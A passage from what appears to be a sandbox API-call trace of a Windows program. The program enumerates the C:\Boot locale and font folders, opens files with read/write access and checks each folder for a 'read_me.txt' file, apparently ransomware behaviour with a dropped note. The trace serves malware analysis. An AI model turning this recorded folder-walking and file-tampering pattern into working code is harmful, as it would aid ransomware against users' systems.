pszDest="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 33 [0077.626] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.626] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5a54b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a5a54b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5a54b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.626] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\read_me.txt") returned 29 [0077.626] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\read_me.txt" (normalized: "c:\\boot\\de-de\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.626] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.626] CloseHandle (hObject=0x7b0) returned 1 [0077.626] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5a54b0, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a5a54b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5a54b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.626] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.626] wnsprintfW (in: pszDest=0x41c0088, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\read_me.txt") returned 29 [0077.626] GetProcessHeap () returned 0x540000 [0077.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41c0088 | out: hHeap=0x540000) returned 1 [0077.626] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 4 [0077.626] GetProcessHeap () returned 0x540000 [0077.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.626] GetProcessHeap () returned 0x540000 [0077.627] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a0078 [0077.627] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\*") returned 19 [0077.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a5cb610, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5cb610, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.627] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\.") returned 19 [0077.627] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a5cb610, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5cb610, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.627] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\..") returned 20 [0077.627] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.627] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 33 [0077.627] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.627] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5cb610, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a5cb610, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5cb610, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.627] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\read_me.txt") returned 29 [0077.627] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\read_me.txt" (normalized: "c:\\boot\\el-gr\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.627] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.627] CloseHandle (hObject=0x7b0) returned 1 [0077.627] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5cb610, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a5cb610, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a5cb610, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.627] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.627] wnsprintfW (in: pszDest=0x41a0078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\read_me.txt") returned 29 [0077.627] GetProcessHeap () returned 0x540000 [0077.627] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a0078 | out: hHeap=0x540000) returned 1 [0077.627] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 5 [0077.627] GetProcessHeap () returned 0x540000 [0077.628] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.628] GetProcessHeap () returned 0x540000 [0077.628] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.628] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\*") returned 19 [0077.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a63da30, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a63da30, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.628] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\.") returned 19 [0077.628] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x1a63da30, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a63da30, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.628] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\..") returned 20 [0077.628] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.628] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui") returned 33 [0077.628] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.628] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x540000, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0077.628] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui") returned 33 [0077.628] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.628] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a63da30, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a63da30, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a63da30, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0077.628] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\read_me.txt") returned 29 [0077.628] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\read_me.txt" (normalized: "c:\\boot\\en-us\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0077.628] StrStrW (lpFirst="read_me.txt", lpSrch="read_me.txt") returned="read_me.txt" [0077.628] CloseHandle (hObject=0x7b0) returned 1 [0077.628] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a63da30, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1a63da30, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1a63da30, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0x540000, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0 [0077.629] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.629] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\en-US\\read_me.txt") returned 29 [0077.629] GetProcessHeap () returned 0x540000 [0077.629] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.629] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 6 [0077.629] GetProcessHeap () returned 0x540000 [0077.629] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4190070 | out: hHeap=0x540000) returned 1 [0077.629] GetProcessHeap () returned 0x540000 [0077.629] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.629] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\*") returned 19 [0077.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.629] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\.") returned 19 [0077.629] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.629] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\..") returned 20 [0077.629] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.630] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 33 [0077.630] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.630] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.630] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.630] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\es-ES\\read_me.txt") returned 29 [0077.630] GetProcessHeap () returned 0x540000 [0077.630] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.630] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 7 [0077.630] GetProcessHeap () returned 0x540000 [0077.630] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.637] GetProcessHeap () returned 0x540000 [0077.637] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.638] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\*") returned 19 [0077.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.638] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\.") returned 19 [0077.638] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.638] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\..") returned 20 [0077.638] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.638] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 33 [0077.638] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.638] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x540000, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.638] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.638] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\fi-FI\\read_me.txt") returned 29 [0077.638] GetProcessHeap () returned 0x540000 [0077.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4150050 | out: hHeap=0x540000) returned 1 [0077.638] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 8 [0077.638] GetProcessHeap () returned 0x540000 [0077.638] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.641] GetProcessHeap () returned 0x540000 [0077.641] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4150050 [0077.641] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\*") returned 19 [0077.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.641] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\.") returned 19 [0077.641] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.642] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\..") returned 20 [0077.642] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x540000, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0077.642] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf") returned 30 [0077.642] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.642] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x540000, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0077.642] wnsprintfW (in: pszDest=0x4150050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf") returned 30 [0077.642] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0077.642] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, 